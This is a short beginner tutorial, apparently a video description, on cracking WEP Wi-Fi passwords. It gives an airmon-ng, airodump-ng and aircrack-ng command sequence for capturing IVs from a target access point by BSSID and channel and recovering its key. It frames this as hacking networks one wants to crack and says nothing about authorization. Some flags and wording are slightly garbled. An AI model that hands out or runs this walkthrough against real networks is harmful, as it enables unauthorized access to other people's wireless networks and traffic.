This is very easy(Noob-Friendly) yet detailed tutorial on how to hack WEP-Secured wireless network passwords. This video shows how to do it on a Windows OS(XP, Vista, 7) or a Linux OS.

There are two reasons why I used a virtual OS rather then running the cracking tool locally in a Windows environment; 1 – I want this tutorial to assist not only Windows-Users but also Linux-Users and 2 – Compatibility issues are very common with airmon-ng when using in the Windows Environment and will not only limit the amount of people who are able to do it but also complicate the procedure for beginners.

– Commands Used:

airmon-ng
(Shows connected network adapters/devices)

airodump-ng wlan0
(Shows available networks on the wlan0 network adapter – Your network adapter name may differ)

airodump-ng -w passcode –bssid 00:18:39:7C:3F:D6 -C 6 wlan0
(Writes intercepted/sniffed IV’s to a CAP document called passcode. The bssid specifies the Mac Address of the Access Point you are wanting to crack so the Mac Address should differ from what I use. The Channel may also differ depending on what’s displayed for you. Same goes for the network adapter)

dir
(Shows files in the current directory)

aircrack-ng -a 1 -b 00:18:39:7C:3F:D6 FILENAME.cap
(Cracks the IV’s in the Cab file created via the airodump-ng command. The Mac Address specified should be that of the Access Point your trying to crack)
